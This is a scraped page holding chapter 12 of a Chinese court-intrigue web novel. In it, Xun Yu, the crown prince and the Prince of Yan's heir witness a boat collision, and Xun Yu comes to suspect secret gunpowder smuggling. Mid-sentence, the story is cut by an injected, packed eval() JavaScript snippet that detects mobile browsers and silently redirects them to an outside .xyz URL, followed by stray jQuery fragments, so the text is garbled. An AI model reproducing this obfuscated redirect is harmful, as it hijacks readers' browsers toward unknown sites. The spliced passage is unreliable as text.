默认冷灰
24号文字
方正启体

12. 第 12 章

作者:神聖喜劇本书字数:K更新时间:
    荀郁咳了两声:“不必大费周章,我要说的不多,几句话罢了。”


    司马丹不满:“就说两句话,你也非得叫我跟着来?”


    说是这么说,不叫他又不高兴。


    荀郁道:“后头还有别的事要劳驾太子殿下,还请恕罪。”


    司马丹才要罢休,又听荀郁对司马瑜道:“世子,请借一步说话。”


    眉毛又一竖:“还有什么事不能当别人面说的?”


    司马瑜理都不理太子,眉开眼笑:“自然自然,阿郁这边请。”


    便吩咐画梅扶着她家郡君上了旁边一艘货船甲板。


    司马丹气鼓鼓地望着两人在甲板上你一言我一语起来,再一看自己旁边只有个一板正经的严家三郎,越发气闷。


    严渊察觉到一道嫌弃视线,回看了一眼太子,想了想道:“近日官家龙体欠安,太子殿下当上心些才好。”


    这竟是好话,司马丹十分稀奇。


    皇帝从年初就一直病着,又恰逢长公主病愈出山,朝中很有些议论,纷纷猜测长公主过了这些年,是否有了称帝之意。


    此时的司马丹若对皇位有意,确实应该谨守在昭阳殿,侍奉皇帝病前才对。倒不是为了讨好皇帝,只是万一有事可以及时应对,且有必要做给天下看罢了。


    可天水严氏是五大世家之一,铁打的长公主一党,这严三又是什么意思?


    司马丹近日尤其感到这些酸文假醋的可恨,十分不耐烦跟他们猜东猜西:“我司马家的家事,恐怕还轮不到严郎来提点。”


    这话很严厉了,严渊面不改色,后退一步,干脆利落地跪拜请罪。


    司马丹越发烦躁:“行了行了,这人来人往的,明儿全洛阳就都在传孤是如何盛气凌人了!”


    他也怀疑自己这几天是吃错了什么药,怎么就老上火呢?


    想来想去,竟是从那天池塘边跟司马瑜聊过天之后开始的。


    太子在这头暗自窝火,荀郁那边却氛围十分融洽。


    荀郁道:“世子所求,应当不是非要将那王七如何,只叫他不再负责贵府修缮之事罢了?”


    司马瑜冷哼一声:“阿郁有心行善,放过他也不是不行!”


    司马瑜自然不愿将事情闹大,只因这后头有着一些不能为人所知的东西罢了。


    几日前司马瑜在东宫拦住她说了一通时,荀郁就想起前世一事。


    就在长公主身死的一个月前,燕王在边关起兵,一路破关,兵临上党。


    幸而行军之间,因慕容奚突然南侵,燕王手下头号领兵将军卫羽强行抗命,带着大队士兵返回边关抗敌,叫燕王的势头一口气去了七八分。


    即便如此,燕王仍是一路势如破竹,一直打到上党郡,才被当地大族樊氏的家兵挡下。


    而叫燕王如此横扫千军的,则是一种威力极大的火器。


    一切平定后,荀郁曾派人去幽州细细查证,大致摸清了燕王私制火器的经过。


    幽州地窭人穷,自然不能仅靠当地完成火器制造。


    而在外头能帮燕王沟通筹备此事之人,资源手腕一样不能缺,想来想去,最大可能便是燕王世子司马瑜了。


    这一世算算时间,恐怕过不久就要有第一批火器匠人和材料被送往幽州,不知司马瑜暗中筹备得如何了。


    荀郁这辈子不想再靠罗织罪证来对付人,这私制火器一事,就是燕王起兵前唯一能撕开的一道口子。


    前几日听到王七揪着燕王府建造耗材差漏之事,荀郁就想到了此事,只是被慕容奚打乱了思路。


    只怕是当初司马瑜行事尚未成熟,资源又不充足,修建燕王府时有些挪用之事,不小心留下首尾,如今才叫对工造之事一丝不苟的王七发现了。


    荀郁之所以迟迟未对此事进行追查,主要是因为司马瑜的筹备未成气候,即便揭破也无法对燕王造成多少伤害,若打草惊蛇,便会彻底失去这个机会。


    如今,机会总算来到了。


    荀郁道:“长公主殿下最近叫我对付贾家,我便想到了你与王七之事。若既能帮世子解决烦恼,又能叫我完成长公主之命,两厢得宜,岂不妙哉?——世子可知,王七的上司,现任将作大匠是何人也?”


    “自然知道,便是弘农杨恒。那老儿对王七倒是不错,便是闹得这般,竟也不稍加约束。”


    这其中自然有太子的面子在,毕竟王七当初就是太子保进去的。


    荀郁微笑:“世子不知,杨恒有个儿子娶了贾家的女儿,而那贾氏,原先却是幽州刺史王澄的妻子。”


    王澄……则是王七的亲二哥。


    竟还有如此故事,司马瑜啧啧称奇。


    他父亲燕王的营府便在幽州,与王澄自然也是有交往的。


    荀郁刚才那一笑之后,忽然感到一阵芒刺在背,收起笑容,疑惑地四下张望。


    只见司马丹在岸上望着这边,见荀郁看过来,气冲冲朝她点了两下,做了个口型,叫她快点,又指了指旁边的严三。


    这下不必他做口型,荀郁就知道,他必然是在说严渊太讨厌了。


    不由得又一笑。


    司马瑜简直看不下去,看这二人眉来眼去的,他竟有种自己变成了那王澄的感觉。


    他唤回荀郁的注意力:“阿郁说的我听见了,可这跟你对付贾家,和我对付王七有何关系?”


    荀郁其实并未分心,紧接着解释道:“杨公并不——”


    话音未落,随着不远处一声声“小心——”,一艘载货的大舸似失了控,朝荀郁所在的这艘货船撞来。


    这一撞力道极大,幸而荀郁并未靠近船舷,倒是没有落水的危险,只是站立不稳,不免跌倒。


    司马瑜刚要伸手去扶,却被推到一边,抬眼一看,司马丹已不知何时出现在甲板上,抄起荀郁,又是几个起落到了岸上,离几艘船舸都远远的。


    司马丹放下荀郁,拍拍她身上不存在的灰:“幸好我跟你来了,要不然你可得吃大亏,方才我看见司马瑜竟要伸手去推你!”


    “太子!莫要血口喷人!”司马瑜紧跟着刚上了岸,就听见这番前无古人的污蔑之言。


    荀郁也有些无语,只觉着司马丹这三年白过,还越长越小了。


    当下家族关系重于一切,严渊十分自然地过问父亲手下公事。他拦住一个急匆匆跑过的伙长,道:“这艘船是怎么回事?”


    司马瑜看了那伙长一眼,却是面色一变:“严


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966453|177745||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    郎,这种小人揪着干嘛?不如赶快去把码头从事找来!”


    严渊见司马瑜声气不对,似也想到什么,默默放开那伙长,那人便一溜烟跑开了。


    司马丹瞧着,心下觉着哪里不对,眯了眯眼:“二位莫非知道,这船是谁家的?”


    司马瑜嘴角一动,严渊先道:“实不相瞒,今日下官在此,便是为了等候这支船队。此乃故郡乡亲所运入京的乡产,严家在京中这一支,年年就指着族中接济的。”


    “那燕王世子也在,竟是来打秋风的?”


    司马瑜脸一黑:“就不兴我遇见熟人,寒暄几句?”


    司马丹越发狐疑。


    严渊暗叹:这燕王世子还是浮躁了一些。


    好在太子只是问问,并未揪着不放——他何必去管人家人情往来?


    司马丹这几句疑问只是直觉使然,荀郁在一旁却看出了一些门道。


    她向那艘大舸遥遥看去。


    大舸已经靠岸,船工脚夫们上上下下,一团忙乱,有几个看似领头的凑在一起,似在争吵船舶撞击损伤之事。


    舸上只见人影匆匆,货物都放在船舱里,从外头看不出什么。


    可是,严家的土产如何能叫司马瑜这般惊慌失措?恐怕里头有一些不能声张的东西,比如……火药?


    这倒是个意外之获——看严渊言状,严家居然已经与燕王勾结到了一起。


    想想也是,火器材料的筹备要走天南海北,陆路货运一路过城过关,想要悄无声息这许多年,哪有那样容易。


    而水路,却是严氏的天下。


    只是竟能出这等意外,今日那艘船上恐怕有不少人要倒霉了。


    不知这出意外究竟是否真的意外,若当真巧合,那真是老天开眼,省去了荀郁极大的工夫,叫她不必再像没头苍蝇似的乱寻一通。


    荀郁猜得确实不错,所以司马瑜此时有些焦头烂额。


    燕王此事可是完完全全瞒着长公主的,怎的偏偏趁荀郁这个人精在场的时候惹了眼?


    当下便只想赶快友善而自然地将荀郁打发走,也不急着听完荀郁要如何帮他对付王七,司马瑜道:“阿郁方才也受了惊罢?要不还是跟我一道,去上仙楼坐坐?”


    左右此地有严渊照看,出不了什么大乱子。


    司马丹没想到司马瑜这般贼心不死,笑道:“孤看你今日身带晦气,去了上仙楼,恐怕那店里也要出事。还是罢了,今日便散了如何?左右我们这几个都是游手好闲的,随时再聚便是了。”


    司马瑜冷笑:“太子殿下何时还习得了算命手艺,我竟不知。再说了,谁游手好闲?我父亲虽不在身边,却从不会对我不闻不问,总有许多事叫我去做!”


    司马丹的笑渐渐消散了。


    谁人不知,太子的父亲便是从来对他不闻不问,且从未有“事”交到他手上?


    司马瑜也反应过来这话好似有些过了,却不知该如何补救。


    就在堂兄弟僵持的工夫,远远的一棵柳树下,有个人影遥遥地望着这边。


    那人打量了一会儿出事的大舸,然后将视线落到荀郁身上。


    见荀郁也盯着那艘船若有所思,才微微一笑,转身离开了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)